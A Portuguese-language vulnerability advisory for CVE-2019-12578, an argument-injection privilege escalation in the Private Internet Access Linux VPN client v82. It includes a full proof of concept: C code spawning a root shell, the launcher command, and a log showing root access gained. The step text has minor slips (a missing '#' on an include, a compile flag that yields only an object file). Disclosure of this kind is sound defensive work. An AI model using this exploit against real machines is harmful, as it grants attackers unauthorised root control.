ASA-2019-00384 – London Trust Media Private Internet Access: Injeção de argumento


For the English version of this alert, click here.

Allele Security Alert

ASA-2019-00384

Identificador(es)

ASA-2019-00384, CVE-2019-12578

Título

Injeção de argumento

Fabricante(s)

London Trust Media, Inc

Produto(s)

Private Internet Access (PIA) VPN Client

Versão(ões) afetada(s)

Private Internet Access (PIA) VPN Client para Linux versão v82

Versão(ões) corrigida(s)

Private Internet Access (PIA) VPN Client para Linux versão v1.2.1

Prova de conceito

Sim

Descrição

Uma vulnerabilidade no Private Internet Access (PIA) VPN Client para Linux versão v82 pode permitir que um atacante local autenticado execute código arbitrário com privilégios elevados.

Detalhes técnicos

O binário openvpn_launcher.64 do PIA Linux é root setuid. Este binário executa /opt/pia/openvpn-64/openvpn passando os parâmetros fornecidos a partir da linha de comando. Foi tomado cuidado para programaticamente blacklist parâmetros openvpn potencialmente perigosos, no entanto, o parâmetro -route-pre-down não é. Este parâmetro aceita um caminho arbitrário para um script / programa a ser executado quando o OpenVPN sair. O parâmetro –script-security também precisa ser passado para permitir que essa ação seja executada. –Script-security não está atualmente na lista negra. Um usuário local privilegiado pode passar um script / binário mal-intencionado para a opção – route-pre-down e será executado quando o openvpn for interrompido.

Todas as etapas são executadas como um usuário com poucos privilégios.

Passo 1 – Crie woot.c para gerar um shell quando executado.

include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argvc, char **arv){
    setreuid(0,0);
    execl("/bin/sh","/bin/sh",NULL);
}

Etapa 2 – Compilar o binário malicioso

gcc -fPIC -o woot -Wall -c woot.c

Passo 3 – Execute o openvpn_launcher.64 com o parâmetro –route-pre-down com o caminho para o programa woot. Em 5 segundos, um shell root será gerado.

Nota: O uso do programa de tempo limite é opcional. O comando pode ser executado sem isso, mas você precisará inserir a sequência control-c para eliminar o processo openvpn.

/usr/bin/timeout --signal=SIGINT 5s /opt/pia/openvpn_launcher.64 \
--route-pre-down $PWD/woot --dev tun0 --script-security 2

Etapa 4 – Neste ponto, o processo OpenVPN será executado. Digite o control-c se o programa de tempo limite não foi usado.

Exemplo

user1@woot:~$ id
uid=1001(user1) gid=1001(user1) groups=1001(user1)
user1@woot:~$ cat woot.c
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argvc, char **arv){
    setreuid(0,0);
    execl("/bin/sh","/bin/sh",NULL);
}
user1@woot:~$ gcc -Wall -o woot woot.c
user1@woot:~$ /usr/bin/timeout --signal=SIGINT 5s /opt/pia/openvpn_launcher.64 \
--route-pre-down $PWD/woot --dev tun0 --script-security 2
Wed Dec 26 16:54:56 2018 disabling NCP mode (--ncp-disable) because not in P2MP client or server mode
Wed Dec 26 16:54:56 2018 OpenVPN 2.4.6 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [MH/PKTINFO] [AEAD] built on Jul 26 2018
Wed Dec 26 16:54:56 2018 library versions: OpenSSL 1.1.0h 27 Mar 2018, LZO 2.06
Wed Dec 26 16:54:56 2018 NOTE: the current --script-security setting may allow this configuration to call user-defined scripts
Wed Dec 26 16:54:56 2018 ******* WARNING *******: All encryption and authentication features disabled -- All data will be tunnelled as clear text and will not be protected against man-in-the-middle changes. PLEASE DO RECONSIDER THIS CONFIGURATION!
Wed Dec 26 16:54:57 2018 TUN/TAP device tun0 opened
Wed Dec 26 16:54:57 2018 Could not determine IPv4/IPv6 protocol. Using AF_INET
Wed Dec 26 16:54:57 2018 UDPv4 link local (bound): [AF_INET][undef]:1194
Wed Dec 26 16:54:57 2018 UDPv4 link remote: [AF_UNSPEC]
Wed Dec 26 16:55:01 2018 event_wait : Interrupted system call (code=4)
Wed Dec 26 16:55:01 2018 /home/user1/woot tun0 1500 1500 init
# id
uid=0(root) gid=1001(user1) groups=1001(user1)
#

Créditos

Rich Mirch

Referência(s)

PIA Linux Privilege Escalation: Argument Injection
https://github.com/mirchr/security-research/blob/master/vulnerabilities/PIA/CVE-2019-12578.txt

CVE-2019-12578
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12578

CVE-2019-12578
https://nvd.nist.gov/vuln/detail/CVE-2019-12578

Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.

Última modificação: 26 junho 2019

Não somos responsáveis por qualquer perda de dados, corrupção de dispositivos ou qualquer outro tipo de problema devido ao uso de qualquer informação mencionada em nossos alertas de segurança.